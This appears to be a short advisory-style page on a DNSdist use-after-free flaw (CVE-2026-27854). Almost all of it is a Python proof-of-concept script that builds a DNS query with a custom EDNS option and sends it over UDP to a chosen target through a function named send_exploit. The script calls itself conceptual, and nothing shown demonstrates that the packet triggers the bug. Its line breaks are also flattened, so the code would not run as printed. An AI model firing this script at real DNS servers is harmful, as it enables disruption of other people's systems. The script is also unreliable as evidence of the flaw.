CVE-2026-27854 DNSdist释放后重用漏洞

import socket import struct # Crafted DNS packet with EDNS option to trigger the UAF in DNSdist # This is a conceptual PoC demonstrating the network packet structure. def build_dns_packet(): # DNS Header transaction_id = 0x1234 flags = 0x0100 # Standard query questions = 1 answer_rrs = 0 authority_rrs = 0 additional_rrs = 1 # EDNS header = struct.pack('!HHHHHH', transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) # Question qname = b'\x03www\x07example\x03com\x00' # www.example.com qtype = struct.pack('!H', 1) # A record qclass = struct.pack('!H', 1) # IN question = qname + qtype + qclass # Additional (EDNS OPT pseudo-RR) name = b'\x00' # Root domain type = struct.pack('!H', 41) # OPT udp_payload_size = struct.pack('!H', 4096) extended_rcode = struct.pack('!B', 0) version = struct.pack('!B', 0) z = struct.pack('!H', 0) rdlen = struct.pack('!H', 4) # Length of RDATA # RDATA: Option code and data (Crafted to potentially trigger the specific parsing path) option_code = struct.pack('!H', 65001) # Custom option option_len = struct.pack('!H', 0) rdata = option_code + option_len additional = name + type + udp_payload_size + extended_rcode + version + z + rdlen + rdata return header + question + additional def send_exploit(target_ip, target_port): packet = build_dns_packet() try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(packet, (target_ip, target_port)) print(f"[+] Packet sent to {target_ip}:{target_port}") except Exception as e: print(f"[-] Error: {e}") # Usage # send_exploit('192.168.1.10', 53)